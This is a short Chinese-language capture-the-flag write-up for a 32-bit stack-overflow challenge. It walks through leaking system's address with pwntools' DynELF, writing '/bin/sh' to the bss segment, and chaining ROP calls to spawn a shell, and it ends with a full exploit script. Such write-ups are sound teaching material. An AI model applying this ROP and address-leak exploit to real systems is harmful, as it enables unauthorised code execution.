checksec之后,发现可以栈溢出
找可以溢出的地方
我们可以读取无穷无尽的数
但是在IDA中没找到system函数,同时题目也没有给我们lib文件,咋办…………
根据大佬的资料,了解到了pwntools的一个函数DynELF
,DynELF
函数可以leak system的真实地址,当然最后我们还是要用rop代码重新还原回去执行的
先看一下DynELF怎么用,基本流程如下
d = DynELF(leak, elf=ELF(
"./xxx"
))
#初始化DynELF模块
systemAddress = d.lookup(
'system'
,
'libc'
)
#在libc文件中搜索system函数的地址
其中leak是自己定义的一个函数,用来返回一个存放被泄露地址所存放的地址,在最后的代码里有详细的写
同时还有一点,因为文件本身内部没有字符串/bin/sh,所以我们要将它写到bss段中一边以后读取
,我们在IDA中,可以看到bss段哪里开始是空的
上脚本
#代码主体
bss_addr=0x0804A024
write_plt=bin.plt['write']
fun_addr=bin.symbols['vulnerable_function']
def leak_fun(address):
payload='a'*(0x88+0x04)+p32(write_plt)+p32(fun_addr)+p32(1)+p32(address)+p32(4)
cn.sendline(payload)
leak_addr=cn.recv(4)
return leak_addr
d=DynELF(leak_fun,elf=bin)
system_addr=d.lookup('system','libc')
read_plt=bin.symbols['read']
payload2='a'*(0x88+0x04)+p32(read_plt)+p32(fun_addr)+p32(0)+p32(bss_addr)+p32(8)
cn.sendline(payload2)
cn.send('/bin/sh\x00')
payload3='a'*(0x88+0x04)+p32(system_addr)+'hehe'+p32(bss_addr)
cn.sendline(payload3)
cn.interactive()